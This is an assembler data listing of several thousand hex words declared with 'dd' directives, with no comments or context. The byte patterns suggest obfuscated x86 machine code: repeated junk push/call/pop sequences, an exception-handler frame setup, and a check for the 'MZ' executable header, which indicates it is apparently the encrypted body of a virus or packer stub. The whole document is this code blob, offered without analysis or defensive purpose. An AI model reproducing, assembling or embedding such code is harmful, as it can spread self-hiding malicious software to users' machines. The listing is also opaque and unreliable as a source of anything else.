		dd 0F28B6650h, 0FDB0B5Fh, 7185h, 835E5100h, 261F4EBDh
		dd 840F0006h, 10h, 0A338B1BEh, 68E945h,	0B58B0000h, 622010Dh
		dd 1F4E85C7h, 10626h, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 62203C3h, 34E9FAh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 8478E4C3h, 1BFDBD89h, 85C70622h, 6261F4Eh, 0
		dd 30199D29h, 9D8D0622h, 62207ADh, 4D9589h, 23810622h
		dd 0FFFFFEFFh, 6ADB8C66h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 3111C353h, 0B58B6B24h
		dd 6222D79h, 0FE9h, 36CAEA00h, 3F91B27h, 0E96AE032h, 0C25D8436h
		dd 0F04C3F6h, 3384h, 0DDB53300h, 0FF062226h, 2220C995h
		dd 8E906h, 0D80000h, 6C81D8EAh,	9D89A96Ch, 6220125h, 66525050h
		dd 0F4A58BFh, 89585A31h, 0BD892404h, 6220809h, 406E9h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 0BE0607F6h, 41D39C07h, 0C9D68166h, 0F8B70F9Fh
		dd 6A00B0h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 94847FC3h, 31233A21h, 0F98CF06h, 484h, 32BE6600h
		dd 6A70E6BDh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 0E807C352h, 71E4F87Ah,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0AC35747h, 0A1C5A555h
		dd 8932564Bh, 22162995h, 0D8B60F06h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0ACC35242h,	0AFAED0ACh, 2C79B589h
		dd 95890622h, 6222609h,	6BAh, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0C43629E4h
		dd 453E7D74h, 0D3D5CCBEh, 81C38B5Eh, 54F31FE6h,	4E8C11Fh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 3EC35747h
		dd 0F766F541h, 50006AE2h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1D04h, 0C3504000h, 0E7EF8767h, 1AD67280h
		dd 0C7817A6Eh, 10A65022h, 89F8D82Bh, 2228C19Dh,	0A5BE9306h
		dd 501F48FAh, 7E960h, 0ECB0000h, 63F092B6h, 299361FCh
		dd 22260995h, 99B5FF06h, 6A06220Fh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 5C5BC355h
		dd 2F104DF0h, 7A2355C0h, 30E18D89h, 95FF0622h, 6223075h
		dd 2D1F6DBFh, 6600B03Fh, 0E6E683BEh, 57006A70h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0B44FF08Eh
		dd 5B6BA8B6h, 7890Fh, 0B8600000h, 0C1EE9E2h, 92CFBE61h
		dd 71E46D87h, 0EE9h, 9BEB6200h,	0B23A56A3h, 261A9EDFh
		dd 3CAB8FBEh, 0F0830F61h, 8B000001h, 2208F1B5h,	0D8B60F06h
		dd 1ADBD8Bh, 12E80622h,	0C7000000h, 0C94F3B0Ah,	44E1ED7Ch
		dd 0D6B7FAEFh, 4264AAD5h, 0BDB58B45h, 5F06221Eh, 6BAh
		dd 69B58B00h, 8B06221Fh, 55006AC3h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 4CFBB30Ch, 7E9h, 0BF208700h
		dd 1EE68748h, 9CD7C4BEh, 4E8C164h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 92C35646h, 660AE239h, 6AE2F7h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 170424h, 50400000h
		dd 7440AAC3h, 0B1958929h, 8906220Eh, 220F91B5h,	6AD82B06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 19042444h
		dd 41000000h, 0D64CC351h, 1A0EA74Ch, 57006A58h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 2BF58C51h
		dd 0EC880FD8h, 0F000000h, 7B9F6B7h, 81000000h, 6E9BFEF6h
		dd 0C18350h, 68E0Fh, 9D890000h,	6221651h, 860FD93Bh, 0C7h
		dd 6C1B58Bh, 8C660622h,	50006AD9h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 899D0A59h, 2233459Dh
		dd 4C1F606h, 71840Fh, 6E90000h,	0CE000000h, 0F4DFA8BAh
		dd 0D19531B9h, 0FF062210h, 2220C995h, 559D3106h, 5B062205h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 74C35747h
		dd 46F2F346h, 0ABD5B1D1h, 0B70F601Fh, 96CF80C9h, 0BEC32B61h
		dd 7985445Dh, 8343Dh, 14860F00h, 0F8000000h, 2EE9h, 0B70F6000h
		dd 0F6BF0FC9h, 7DBD3361h, 8B062202h, 56006AC0h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 8B84618Fh
		dd 66D88BC3h, 85C7F88Bh, 6222965h, 3B565555h, 0C24CBF66h
		dd 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0BAE7F9C3h, 66F67467h, 0BD81FA8Bh, 6220F99h
		dd 7D0h, 2C850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 0A8A87C3h, 0BD2992E0h
		dd 6220195h, 0F9985FFh,	0B5FF0622h, 6220F99h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 88C35141h, 0D85EB253h
		dd 6444BF95h, 95FF7337h, 6223075h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ah, 4BC35343h, 0C6163C55h, 8166F5ECh
		dd 8B8CADF7h, 22198DB5h, 6A9006h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0EBBF79C3h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0EAC35141h, 85781BC8h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 10C35646h
		dd 92F64938h, 0A5BD8BF5h, 6A062213h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0FD8CC352h
		dd 918B5298h, 9E6B7DBBh, 8BF18B66h, 0F7B70FFBh,	6AFE8B66h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 9D49C353h, 0BA900ADh, 6950E671h, 59B501h
		dd 81660622h, 6A919CDEh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 606AC352h, 0BF666C63h
		dd 6A706Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 231298C3h, 0B2ED3F49h, 0E59D0968h, 66062200h
		dd 0F576DABFh, 13E9h, 22E50800h, 0ED6C3048h, 1E185B11h
		dd 3A83DA0Fh, 494B9DDh,	0FFF84BE9h, 57006AFFh, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 55FC1024h
		dd 71E9BF07h, 953360F4h, 6222995h, 4880Fh, 0B9660000h
		dd 8B615F90h, 199D89C1h, 0EB06222Ah, 4,	45858900h, 0F062230h
		dd 8B66F6BFh, 0B5858DF2h, 6A06222Ch, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 8939C356h
		dd 2233E5BDh, 66509006h, 900E99BEh, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 0D8C35242h,	0DF27AA16h, 6ADC79FDh
		dd 0D59D8900h, 6A06222Fh, 0F0B70F00h, 29CD858Dh, 6A0626h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0F68336C3h, 6E07CE64h, 0E7816C9Dh, 481D4631h, 0F805C083h
		dd 89F98B50h, 8A0F2404h, 6, 0EC1BD8Bh, 6A0622h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0C9C35242h, 89A73228h
		dd 222135BDh, 0F8006A06h, 355595FFh, 6A0622h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8DA9C1C3h
		dd 25A90F9Dh, 4FCF8106h, 0FF5DC559h, 5D8D29D3h,	0FF062219h
		dd 2208B185h
		dd 39BE6606h, 88FE9D8h,	0E80000h, 5D000000h, 29D7ED81h
		dd 6A0626h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 7C14DBC3h, 813EA10Eh, 99BD81F5h, 0D006220Fh
		dd 0F000007h, 17186h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 6E639A74h, 1DCB07E1h
		dd 0BD2313D6h, 6221461h, 6E9h, 35C66100h, 5099221Ch, 0A19D8B5Fh
		dd 6A062214h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1B042444h, 40000000h, 8CF1C350h, 0D6EFD0F3h,	0B58BEAFDh
		dd 6220721h, 8DBD8960h,	81062220h, 428CB9F2h, 0E381615Eh
		dd 100h, 0E857006Ah, 3,	5FC35F20h, 4247C89h, 4244481h
		dd 14h,	1DC35747h, 8B0FBF66h, 850FDB0Bh, 89h, 5FF98B52h
		dd 28ADBD83h, 0F000626h, 5D84h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 62B9631Bh
		dd 4A094F7Bh, 76C68166h, 0DDB58B3Eh, 0E9062232h, 6Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 19h, 35C35242h, 0F698D1CFh
		dd 61BD8B53h, 6606221Ah, 85C7FA8Bh, 62628ADh, 1, 20B19589h
		dd 2BE90622h, 29000000h, 220B0D9Dh, 0AD85C706h,	62628h
		dd 2B000000h, 223495BDh, 10E906h, 0C2F00000h, 32F22727h
		dd 0E5FC0D9h, 0DB1A25C2h, 9D8DC578h, 62214A1h, 81BD8B53h
		dd 5F062225h, 0FEFF2381h, 800FFFFFh, 6,	755BD23h, 8C660622h
		dd 98D29DBh, 0F6062215h, 840F04C3h, 7Bh, 840Fh,	0CE90000h
		dd 0E000000h, 0C94E4FAAh, 888EE78Dh, 0FF36D024h, 2220C995h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 4E315B18h, 29F4A49Bh, 2219858Dh,	0AE99006h
		dd 0A6000000h, 64CDE575h, 270E6A1Fh, 6A905063h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 308DC351h, 6382657Bh, 0E9E5C9D6h, 406h, 70E600B0h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 9DC35646h, 0F71E4C1h
		dd 686h, 19DF8100h, 0F1E0578h, 6AD8B6h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0D73162C3h
		dd 0DBD9AF48h, 294ACE31h, 2211658Dh, 6BA06h, 0E8510000h
		dd 11h,	4C2B42DAh, 580F6CEAh, 0C8CD013Dh, 55B9FCD4h, 0E3A6BE52h
		dd 5E5F218Fh, 6AC38Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1D0424h, 51410000h, 6D9EA8C3h, 3E8A83EAh, 0E8C757B4h
		dd 0Eh,	9EC23187h, 0BAC4EC87h, 58BADE26h, 0BD8BD27Eh, 6222C6Dh
		dd 4BCE815Eh, 0C126CF08h, 0CE8104E8h, 53EEC59h,	8D0Fh
		dd 0F7660000h, 52006AE2h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1904h, 0C3524200h, 0CF9D635Fh, 0BF66C8A9h
		dd 0D82B88AAh, 33EDB58Bh, 0BF500622h, 54E37E4Ch, 6A241C89h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1D042444h
		dd 46000000h, 0E767C356h, 563DF788h, 1622732Ch,	0F99B5FFh
		dd 6A0622h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 749A87C3h, 50935FFBh, 68E0Fh, 0F7810000h
		dd 59989CCCh, 307595FFh, 6A0622h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 441D41C3h, 0B5526A9Bh
		dd 9D29A652h, 62207B1h,	6A00B0h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0BD8B7DC3h, 6222015h
		dd 0BD8B70E6h, 6220791h, 6A71E4h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 190424h, 56460000h, 6DBB21C3h, 0E9E1D085h
		dd 7, 47EBAED4h, 3C85D34Ah, 0B830F61h, 66000002h, 0FDBB1BFh
		dd 0B70FD8B6h, 6BAF9h, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0B70F7CC3h, 0CFD681F9h
		dd 8B4D83F3h, 51006AC3h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 0FE6BEBFh, 0A85h,	5E900h,	0D5FC0000h
		dd 0C1C3BD48h, 0FB8B04E8h, 0E9E2F766h, 6, 6AF3BEC2h, 0BD8BF99Ah
		dd 6220299h, 6AD82Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 54C257C3h, 66BF66FCh, 6A5872h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0E97452C3h, 0Eh, 0CE8B117Dh,	847790BCh, 3D44BFCCh, 0D82BCFD5h
		dd 130880Fh, 9D290000h,	6222601h, 7B9h,	0F98B6600h, 0C183F9h
		dd 5C9BD89h, 0D93B0622h, 110860Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 75E2D2C3h
		dd 0FA23D5F9h, 0F491A83h, 48Ch,	21BE6600h, 890F76h, 66000000h
		dd 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h
		dd 53430000h, 68AA81C3h, 0C1F6C0F4h, 89840F04h,	66000000h
		dd 0BD2BF98Bh, 62214EDh, 20C995FFh, 0B58B0622h,	62213EDh
		dd 8A0Fh, 6A5B0000h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 8BFAC356h, 8E9h, 65698D00h, 52FFC2D8h
		dd 0A1BD89B8h, 2B062218h, 57006AC3h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0B31CF4D4h
		dd 1490230Bh, 8343DD3h,	860F0000h, 0Ch,	0FEC78166h, 28E90Ch
		dd 0F18B0000h, 6AC08Bh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 25CE92C3h, 2A58D89h, 0C38B0622h
		dd 6AD88Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 335E7C3h,	29119D89h, 85C70622h, 62207ADh
		dd 10A77FFBh, 13E8h, 0F895C700h, 5D6C80A1h, 0CFF4A5BAh
		dd 7E891926h, 461F3091h, 5E8h, 493CB600h, 8B669102h, 8B5E5EFAh
		dd 1B8A0FC0h, 0E8000000h, 13h, 0BE4E6ADFh, 3E88B867h, 1DA19FAAh
		dd 0A50059E4h, 51ED5502h, 0BD815F5Fh, 6220F99h,	7D0h, 4E850Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 19C8F8C3h, 0DC72568Bh, 85FFF38Bh,	6220F99h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0A3C35141h
		dd 0EF819089h, 5D9B16ECh, 0F99B5FFh, 6A0622h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0CD587FC3h
		dd 0C4D5D099h, 0BE3CCDCDh, 7B92ACDBh, 2C4D9D89h, 95FF0622h
		dd 6223075h, 0C8F0Fh, 8B0F0000h, 6, 2911B58Bh, 0F900622h
		dd 0BE66FAB7h, 6AD318h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0A7DBF7C3h, 6263EED7h, 840FABCDh
		dd 6, 26018D89h, 6A0622h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 0BF6BF5C3h, 224D8FC1h
		dd 128E0Fh, 8A0F0000h, 6, 26259589h, 9D290622h,	6221AFDh
		dd 1581B58Bh, 850F0622h, 8, 2800Fh, 0F18B0000h
		dd 85296060h, 62213EDh,	0E18194B4h, 260E3147h, 1B58961h
		dd 0F06221Dh, 8B61FBBFh, 22063DB5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 0E341C0DBh
		dd 0D865698Dh, 0ADB58BC2h, 60062202h, 1A840Fh, 14E80000h
		dd 19000000h, 6591CD40h, 2E28B5B0h, 0ED281AC0h,	676743B5h
		dd 5877865Bh, 12E9h, 63308500h,	671F57BCh, 5B174003h, 4ED891D6h
		dd 6652213Ch, 61FF3ABEh, 0FFF77DE9h, 0F1BD03FFh, 1062204h
		dd 2234AD85h, 0BD8B6006h, 6221A11h, 0FFFFFEB9h,	0E88166FFh
		dd 8D21D584h, 6220055h,	58EB8160h, 602B4676h, 321B58Bh
		dd 81660622h, 6165E3F0h, 9D8D2161h, 52062215h, 2C98589h
		dd 535A0622h, 2C35BD09h, 8B5F0622h, 2200558Dh, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 7D0A39AAh, 0F19533E4h, 83062231h, 850F01E1h,	38h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 4EC35747h, 0ACF4A49Bh
		dd 5229F058h, 0EE9h, 19686500h,	0A3EE8EBh, 266915Ch, 5BB3A9D8h
		dd 159D8D8Bh, 858B0622h, 622108Dh, 0F01E183h, 1C85h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 8B60611Ch, 22267195h, 0FFFEB906h, 8B66FFFFh,	358D21D9h
		dd 6A062206h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 6279C353h, 987754BBh, 0E3C667ECh
		dd 0EBDBD89h, 11E90622h, 0F2000000h, 676B3B9h, 2E281F6h
		dd 0A881FC7Ch, 8473AE0Ch, 5618D21h, 6A0622h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0C68A66C3h
		dd 0EF84C881h, 8D8B1874h, 6220635h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 18h, 0ACC35242h,	93EA5DDCh, 11919D89h
		dd 0E1830622h, 26850F01h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0A62EC357h
		dd 292B41B8h, 2215D185h, 618D8B06h, 6A062205h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
		dd 8D86C356h, 1E183F8h,	27850Fh, 8B0F0000h, 21h, 39950160h
		dd 0E8062221h, 13h, 0B780124Fh,	717CC5Ch, 9AD8CD11h, 93273E4Fh
		dd 5BC024B8h, 81606161h, 0EDFC77D0h, 0FFFEB965h, 858BFFFFh
		dd 62209F5h, 4198D21h, 33BB0622h, 215C47ABh, 2229658Dh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 6674571Bh, 85234A4Fh, 6223369h, 8BF18B66h
		dd 2204198Dh, 94BB6606h, 1E18382h, 0C850Fh, 800F0000h
		dd 6, 161D858Bh, 8D8B0622h, 6222965h, 7E26F081h, 0E18302E4h
		dd 5850F01h, 66000000h,	0C220EA81h, 34E961h, 5A330000h
		dd 7B0Eh, 0Bh dup(0)
		dd 32E90000h, 40000005h, 0A6EB023Dh, 121F76D5h,	8AB7DE6Dh
		dd 0E42D44FFh, 6442AD9Ah, 4434B84h, 69D6A4EDh, 0DC67111Eh
		dd 47008CB5h, 0D854252Ch, 411C0EB0h, 7771B165h,	0ECE93A05h
		dd 316FDCAFh, 0AEB98608h, 0F3201B61h, 0AFFBB196h, 42473A3Bh
		dd 800C356Bh, 0C7196C7h, 3A3B4890h, 0D20EAD47h,	2069E497h
		dd 74B7F627h, 0C2810A27h, 90B87491h, 85473A3Bh,	0A996F936h
		dd 0C721D064h, 1C5C9563h, 0A0CB7418h, 47E9EE57h, 0D13E0DA1h
		dd 29126683h, 9CA7D1DEh, 0EB58224Fh, 0CC78358Eh, 7CD8B6A6h
		dd 0A1E80520h, 573875A6h, 79AA99E6h, 98AAFB3Ah,	75DF5395h
		dd 0C0C86C8Ch, 59236C87h, 0DCEFBDEEh, 76473A58h, 275A6D8Bh
		dd 0B251F379h, 64h, 3A057798h, 3B0D5BE9h, 5EA3473Ah, 0DB7AF71Ah
		dd 15F51F3h, 0C7000000h, 16470477h, 0C8108CF1h,	69473A3Bh
		dd 83A56ADFh, 0BFFE4383h, 14335861h, 64DFAAC7h,	15B54203h
		dd 0B219A2FDh, 40A95F6Eh, 0A3D72428h, 98DEEA82h, 7833473Ah
		dd 0ADDE1B39h, 1E51EE90h, 79C2CAF7h, 4824096Eh,	473A9820h
		dd 0EABAE6D5h, 0DF380777h, 4E9FACD2h, 0FC17562Fh, 905210C7h
		dd 87F4394Ch, 0C34C6BB8h, 40FF8FA5h, 0AB94F829h, 0B73A414Eh
		dd 776DF22Bh, 306CAF1Ah, 118BF015h, 473A99C9h, 0A5913B2Ch
		dd 0CE6FDA93h, 6728518Fh, 0D72BFD8h, 92CEED3Eh,	0DC1CC54Bh
		dd 0F35FC8B5h, 8C0D51h,	6BA80000h, 9DEE2320h, 0E23E7DAEh
		dd 38077752h, 30B9C6EBh, 54B9345Dh, 50A9E8E7h, 0A396F7h
		dd 0E937D629h, 0ABCD24DCh, 8C600589h, 473A5B7Ch, 5B87D349h
		dd 436A473Ah, 157CBFFEh, 0B0E5622Ch, 0E0350E7Bh, 0C547A128h
		dd 5BFC0CE0h, 9BE1473Ah, 0F3073A0h, 0BD9BD7ACh,	29B49DBDh
		dd 1B3E23EBh, 609B51F3h, 83000000h, 0EB380777h,	0C71389EEh
		dd 2A473A3Bh, 64145D83h, 13658ADBh, 0C3B6FB28h,	30C2B78h
		dd 101D41E5h, 15325CD8h, 47720FAh, 35461647h, 2A473A3Bh
		dd 8E35F5Eh, 89678D85h,	0A0E80556h, 503976A7h, 5787A6F7h
		dd 0F0889EDAh, 0ADA0E701h, 0C451F36Ch, 58FD0D9Fh, 9D10473Ah
		dd 1DE47h, 77440000h, 0C5EA3B08h, 9A6B8CB7h, 349CF544h
		dd 8FDE0202h, 989CDC85h, 0DF2148F7h, 7DBADF24h,	0C4E7340Fh
		dd 0D0A37998h, 0BD4918C4h, 0FC80ADFEh, 95E72843h, 3A6BD4A4h
		dd 6E6BB8FBh, 0BFEC5721h, 7086207Ch, 7441189Bh,	0D7A57FF9h
		dd 701C056Ch, 236986D7h, 0CAB2FF18h, 0D3012C71h, 86E26F8Ah
		dd 236BDEAEh, 688AE524h, 4BD13BF5h, 141C0h, 0AB584E00h
		dd 0AA690364h, 9B49182Ah, 8DDE6D1Eh, 0B1FE2F6Eh, 281970CBh
		dd 4D8ADB64h, 722A3B40h, 41180926h, 7CA1E0CBh, 0B6C6E331h
		dd 1019588Dh, 369374D8h, 74619893h, 0B4D8E13Fh,	9FD2608Bh
		dd 3A4BD15Ch, 3Eh, 27525FE0h, 0DA96C01Ch, 72A67693h, 6711736Ch
		dd 25750754h, 1BC73A3Bh, 0BBB59ADEh, 0E12E1374h, 1761AE9Dh
		dd 0E256F02Ch, 0F91736Ch, 3B26722Ah, 0E0CB473Ah, 0DF3685BCh
		dd 0BD00h, 0AB58F200h, 0E322216Ah, 0FD3D3D86h, 20EAF873h
		dd 7C0F9DFCh, 914918CEh, 0D8A4C91Ah, 3987D349h,	382E4119h
		dd 3E40506Fh, 6A1491AEh, 2A6D88DDh, 0ED9F80EBh,	0DE730152h
		dd 3F411973h, 82AFFC4Bh, 6E1A4BF8h, 9DC16583h, 0F54E3B78h
		dd 46018BA0h, 4997D615h, 5F8488E0h, 1972BDCDh, 75D5041h
		dd 5EA992FAh, 0D93E857Eh, 76D1A7F4h, 0C7800825h, 8C8E5884h
		dd 954F3F6Eh, 0D4B8F526h, 0FFEBD9D1h, 0F53A6226h, 5479B883h
		dd 99CA7507h, 0CB182754h, 386DD6A6h, 0E6A97FDh,	27413018h
		dd 85E23122h, 554C3517h, 0D513F445h, 85307F6Eh,	96251C40h
		dd 31889071h, 5748EFCCh, 84D81B28h, 0E65FC35Bh,	904C45ACh
		dd 0BE10668h, 473AC8FFh, 13459B12h, 53673560h, 0C6473AC8h
		dd 6E53B4F7h, 0EA877495h, 8355A117h, 473A1777h,	8CCD139Ah
		dd 1C0B3E10h, 5B882349h, 0B2DD6616h, 454AFF8Dh,	5796D506h
		dd 0BAA97606h, 34151207h, 941198E7h, 1914C2F9h,	0F73667A6h
		dd 2977D4BAh, 8CA8C0h, 716267FDh, 0C0E3300Bh, 63C2C73Bh
		dd 0C4CAC720h, 9365987h, 466BB883h, 71DB0833h, 0E05F2B68h
		dd 0C52C70B3h, 40FB81A3h, 19A0EA27h, 41FB126Dh,	0F52659A4h
		dd 38696AB6h, 0A7BAEB54h, 3, 7773CB8Fh,	0C3E83D06h, 105D8EB9h
		dd 618EDF68h, 0B4F92A19h, 3287DCAh, 529FCC7Bh, 0A2CF1C27h
		dd 0F03D6EDDh, 696FBC8Bh, 81E28952h, 4C2h, 4EA8100h, 87000000h
		dd 895C2414h, 5E682404h, 89000021h, 30682404h, 89000006h
		dd 0EC83243Ch, 242C8904h, 0FD2623BDh, 0F14B801h, 0E8010429h
		dd 3C8B545Dh, 4C48124h,	53000000h, 803FC5BBh, 0BDEB8145h
		dd 145803Fh, 5B0389FBh,	56243C8Bh, 0C681E689h, 4, 8704C683h
		dd 0FF5C2434h, 83582434h, 7CE904C4h, 0B6FFFC48h, 39F4B8DEh
		dd 0C5030626h, 55B4E0FFh, 2CF926E6h, 72F63668h,	99C24993h
		dd 0C2FD4150h, 0AEBE7F10h, 0A7144B92h, 0E4114FEBh, 905C0281h
		dd 0BC641DEh, 11DA4C36h, 830451A1h, 12D74D56h, 0FBA51D78h
		dd 0C7CF2476h, 87C1614Dh, 7DA16D0Fh, 0D3AF68A4h, 5EB82169h
		dd 6A6052C6h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 6089C351h, 0FEB9DE48h,	0E9FFFFFFh
		dd 8, 0B958DBBAh, 92025079h, 14A18D21h,	958B0622h, 6221DB1h
		dd 7AD8D21h, 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 48BC66C3h, 0BF48201Ah, 16DC877Bh
		dd 14A18D8Bh, 0E2810622h, 77023D18h, 2D358589h,	0E1830622h
		dd 24850F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 16042444h, 46000000h, 0CADBC356h,	49B5893Dh
		dd 8B062202h, 2207AD8Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1404h, 0C3564600h, 59DB8066h, 1BE18D89h
		dd 0E1830622h, 6850F01h, 2B000000h, 220E71BDh, 6A606106h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 3D08C355h, 0C7B3E071h, 220F9985h,	7D006h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 15F4DB56h, 376C7246h, 52F78A5Bh,	1575958Bh
		dd 61590622h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 17h,	2DC35040h, 96FDC56h, 220A0185h,	6107EB06h, 0E99Dh
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 0CA5BFBC3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 14h, 0E4C35545h, 75E9C18Bh, 60000000h, 0A8D88C66h
		dd 35840F04h, 6A000000h, 0A9B5FF01h, 8D062233h,	257DBE85h
		dd 89D0FF06h, 22078185h, 0C1FE8B06h, 680CEFh, 6A200400h
		dd 57026A00h, 1000D68h,	8195FF00h, 0E9062207h, 32h, 330985C6h
		dd 68560622h, 0A9C530DFh, 2649B5FFh, 858D0622h,	6257DBEh
		dd 8589D0FFh, 6222441h,	19E1858Dh, 6A500622h, 56056A20h
		dd 244195FFh, 0C3610622h, 0BA06E0C1h, 0F008F000h, 0EA81h
		dd 0C283F000h, 91958914h, 83062220h, 858D14EAh,	6263D89h
		dd 35FF6450h, 0
		dd 258964h, 0E8000000h,	0
		db 'X+Â%',0
		db 0F0h, 2 dup(0FFh)
		dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h
